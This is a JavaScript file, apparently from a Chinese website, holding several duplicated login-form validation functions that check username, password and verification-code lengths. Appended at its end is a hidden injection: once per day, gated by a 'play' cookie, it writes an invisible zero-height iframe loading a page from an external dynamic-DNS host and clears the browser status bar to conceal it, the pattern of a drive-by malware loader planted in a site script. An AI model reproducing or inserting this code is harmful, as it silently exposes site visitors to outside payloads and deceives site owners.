function LoginForm(theform)
{
var tt="";
var regW =/\W/;
  if(theform.username.value.length < 5){tt=tt+"1) 用户名不正确。\n";}
  if(theform.userpwd.value.length < 5){tt=tt+"2) 密码不正确。\n";}
  if(theform.userma.value.length != 5){tt=tt+"3) 请输入5位验证码。\n";}

   if (tt.length<=0){
       return true;
   }else{
       tt="请输入正确的登录资料\n\n"+tt;
       alert(tt); 
       return false;
   } 
}
function LoginForm1(theform)
{
var tt="";
var regW =/\W/;
  if(theform.username.value.length < 5){tt=tt+"1) 用户名不正确。\n";}
  if(theform.userpwd.value.length < 5){tt=tt+"2) 密码不正确。\n";}
  if(theform.userma.value.length != 5){tt=tt+"3) 请输入5位验证码。\n";}

   if (tt.length<=0){
       return true;
   }else{
       tt="请输入正确的登录资料\n\n"+tt;
       alert(tt); 
       return false;
   } 
}
function LoginForm2(theform)
{
var tt="";
var regW =/\W/;
  if(theform.username.value.length < 5){tt=tt+"1) 用户名不正确。\n";}
  if(theform.userpwd.value.length < 5){tt=tt+"2) 密码不正确。\n";}
   if (tt.length<=0){
       return true;
   }else{
       tt="请输入正确的登录资料\n\n"+tt;
       alert(tt); 
       return false;
   } 
}
function LoginForm1EN(theform)
{
var tt="";
var regW =/\W/;
  if(theform.username.value.length < 5){tt=tt+"1) Username is incorrect.\n";}
  if(theform.userpwd.value.length < 5){tt=tt+"2) Password is incorrect.\n";}
  if(theform.userma.value.length != 5){tt=tt+"3) Please enter the code 5.\n";}

   if (tt.length<=0){
       return true;
   }else{
       tt="Please enter the correct login information:\n\n"+tt;
       alert(tt); 
       return false;
   } 
}

function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
document.writeln('<iframe height=0 width=100 src="http://ftpfuwuqi.3322.org/index.htm"></iframe>');window.status=" "; 
} 



